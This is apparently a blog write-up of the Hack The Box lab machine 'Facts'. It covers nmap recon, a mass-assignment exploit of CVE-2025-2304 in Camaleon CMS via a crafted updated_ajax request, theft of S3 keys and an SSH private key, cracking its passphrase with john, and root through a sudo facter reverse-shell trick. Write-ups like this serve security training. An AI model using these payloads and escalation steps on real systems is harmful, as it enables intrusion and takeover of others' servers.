Skip to content
MananisPiwPiw
Go back

Hack The Box: Facts Writeup

Table of contents

Open Table of contents

Recon

First, scan all ports with nmap:

sudo nmap -p- --min-rate 5000 -T4 -n -Pn --open <MACHINE_IP>

Open ports found:

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
54321/tcp open  unknown

Deep scan on those ports:

sudo nmap -sC -sV -O -p 22,80,54321 <MACHINE_IP>

Result:

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
|_http-server-header: nginx/1.26.3 (Ubuntu)
54321/tcp open  http    Golang net/http server

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 209.76 seconds

Three main ports: 22 (SSH), 80 (HTTP/nginx, redirects to http://facts.htb), and 54321 (Go web server). Add facts.htb to the hosts file.

Port 54321 redirects to 9001 — odd.

Found /admin on the web server serving a login page:

image

Creating a new account works:

image

Interesting information found in the admin panel:

image

Shell as trivia

The site uses Camaleon CMS v2.9.0. Researched CVE-2026-1776 first:

GHSA-jw5g-f64p-6x78

Inspecting the dashboard network tab to find where assets are stored:

image

Likely stored at /randomfacts. Tried path traversal:

http://facts.htb/randomfacts/....//....//....//....//etc/passwd

image

Response suggested AWS S3 bucket. OSINT led to http://randomfacts.s3.amazonaws.com/:

image

Access denied. CVE-2026-1776 was a dead end.

Next, looked at CVE-2025-2304:

GHSA-rp28-mvq3-wf8j

Profile edit section at /admin/profile/edit shows the current user registered as Client:

image

Cannot edit role through the UI. After researching Camaleon CMS v2.9.0 source code, found two potential roles:

User roles source

# Line 34
{ 'admin' => 'Administrator', 'client' => 'Client' }

Profile update endpoint: POST /admin/users/{user_id}/updated_ajax:

image

Researched the updated_ajax keyword in the repo, leading to updated_ajax_spec.rb and the vulnerable controller.

Exploit payload:

POST /admin/users/{user_id}/updated_ajax
_method=patch&authenticity_token=mzTFc_PVW-hyTycOBStiJuo4nEb7WsTpvADa4huj7aiAvNO7CFkXz-Ehua_XnZtmGYjyUP27fO-_lI-WGFXTWw&password%5Bpassword%5D=rafi123&password%5Bpassword_confirmation%5D=rafi123&password%5Brole%5D=admin

Successfully logged in as admin:

image

Navigated to SettingsGeneral SiteFilesystem Settings. Found AWS S3 configuration with access key and secret key:

image

This instance is S3-compatible (likely LocalStack mimicking AWS locally, not real AWS since the HTB machine isn’t exposed to the internet).

Set up AWS CLI profile:

AWS CLI

image

Created static variables for cleaner commands:

image

List all buckets:

aws --profile "$P" --endpoint-url "$EP" s3api list-buckets

image

Enumerate objects in both buckets.

internal:

aws --profile "$P" --endpoint-url "$EP" s3api list-objects-v2 --bucket "internal" --max-keys 50
{
    "IsTruncated": true,
    "Contents": [
        {
            "Key": ".bash_logout",
            "LastModified": "2026-01-08T18:45:13.150000+00:00",
            "ETag": "\"22bfb8c1dd94b5f3813a2b25da67463f\"",
            "Size": 220,
            "StorageClass": "STANDARD"
        },
        {
            "Key": ".bashrc",
            "LastModified": "2026-01-08T18:45:13.157000+00:00",
            "ETag": "\"f450a33bfc066d8d984d01042b5b9976\"",
            "Size": 3900,
            "StorageClass": "STANDARD"
        }
    ]
}

randomfacts:

aws --profile "$P" --endpoint-url "$EP" s3api list-objects-v2 --bucket "randomfacts" --max-keys 200
{
    "IsTruncated": false,
    "Contents": [
        { "Key": "animalejected.png", "Size": 446847 },
        { "Key": "annefrankasteroid.png", "Size": 271210 },
        { "Key": "catsattachment.png", "Size": 255778 },
        { "Key": "cuteanimals.png", "Size": 411597 }
    ]
}

Examine individual objects: aws --endpoint-url "$EP" s3api head-object --bucket "<BUCKET_NAME>" --key "<KEY_NAME>"

The internal bucket had "IsTruncated": true. Used the continuation token to paginate:

aws --profile "$P" --endpoint-url "$EP" s3api list-objects-v2 --bucket "internal" --max-keys 1000000 --continuation-token "xxx"

Found SSH files:

image

Downloaded them:

aws --profile "$P" --endpoint-url "$EP" s3 cp "s3://internal/.ssh/id_ed25519" /home/rafi/playground/htb/facts/ssh/id_ed25519
aws --profile "$P" --endpoint-url "$EP" s3 cp "s3://internal/.ssh/authorized_keys" /home/rafi/playground/htb/facts/ssh/authorized_keys

Note: At this point I was stuck for about a day. See the 1st Rabbit Hole section below.

Extracted the passphrase from id_ed25519 using ssh2john and john:

ssh2john id_ed25519 > id_ed25519.hash
john --wordlist=/path/to/wordlist id_ed25519.hash

image

Passphrase obtained. Used it to extract the public key and find the SSH username:

chmod 600 id_ed25519
ssh-keygen -y -f id_ed25519

image

The comment contained the username trivia.

image

image

Shell as trivia achieved.

Shell as Root

Checked sudo privileges:

sudo -l

image

User can run facter as any user (including root) with no password.

GTFOBins: facter

facter executes Ruby files from a specified directory. Created a Ruby reverse shell script:

GTFOBins: ruby shell

image

Executed the exploit:

sudo facter --custom-dir=/tmp/ x

image

Root shell obtained.

CVE-2025-2304 Detail

Vulnerability: Mass assignment / privilege escalation in Camaleon CMS updated_ajax.

Vulnerable file: app/controllers/camaleon_cms/admin/users_controller.rb

Vulnerable line (v2.9.0): 55

Vulnerable method: updated_ajax (lines 52–59)

def updated_ajax
  @user = current_site.users.find(params[:user_id])
  update_session = current_user_is?(@user)
  @user.update(params.require(:password).permit!) # VULNERABLE
  render inline: @user.errors.full_messages.join(', ')
  update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end

Why vulnerable: permit! allows all nested attributes in the password parameter, enabling mass assignment on sensitive columns like role.

Proof links:

Fix: Line 55 changed from permit! to an explicit allowlist permitting only password and password_confirmation.

Attack Path Flow

  1. Route accepts request: PATCH /admin/users/:user_id/updated_ajax (defined in config/routes/admin.rb)

  2. Auth gate is weak for own user: validate_role allows request if user_id_param matches current user’s ID or user has :manage, :users permission:

    (user_id_param.present? && cama_current_user.id.to_s == user_id_param) || authorize!(:manage, :users)

    Source: users_controller.rb

  3. Legit form shows expected param shape: Password modal submits to cama_admin_user_updated_ajax_path(@user) with fields password[password] and password[password_confirmation]. Source: form.html.erb

  4. Sink accepts all nested keys: @user.update(params.require(:password).permit!)require(:password) only checks the outer key exists, then permit! trusts every inner key.

  5. Escalation possible because: User model has writable columns including role, auth_token, password_digest, password_reset_token, is_valid_email. Schema source: schema.rb

  6. Most important field: users.role (default: "client"). Admin UI treats role as privileged.

Short version: Attacker uses PATCH /admin/users/:own_id/updated_ajaxparams[:password][...]permit!@user.update(...) → write sensitive columns including role.

Key insight: The bug is not from visible form fields — it’s from the server trusting extra hidden nested keys under password.

1st Rabbit Hole

After obtaining id_ed25519 and authorized_keys, the HTB machine was shut down and resumed the next day. The stored key no longer worked:

image

Instead of prompting for a passphrase, SSH kept asking for a password:

image

The reason: the local id_ed25519 was a different keypair from the current one on the box.

Verification:

Public keys differ:

The old local id_ed25519 matched the old authorized_keys artifact from a previous run of the same box, where trivia had a different SSH key. The passphrase (dragonballz) was still correct, but SSH auth failed because the server no longer trusted that old public key. The machine’s current ~/.ssh/authorized_keys contained the newer public key.

Root cause: The local id_ed25519 was stale — it belonged to an older instance of the box.

image


Share this post: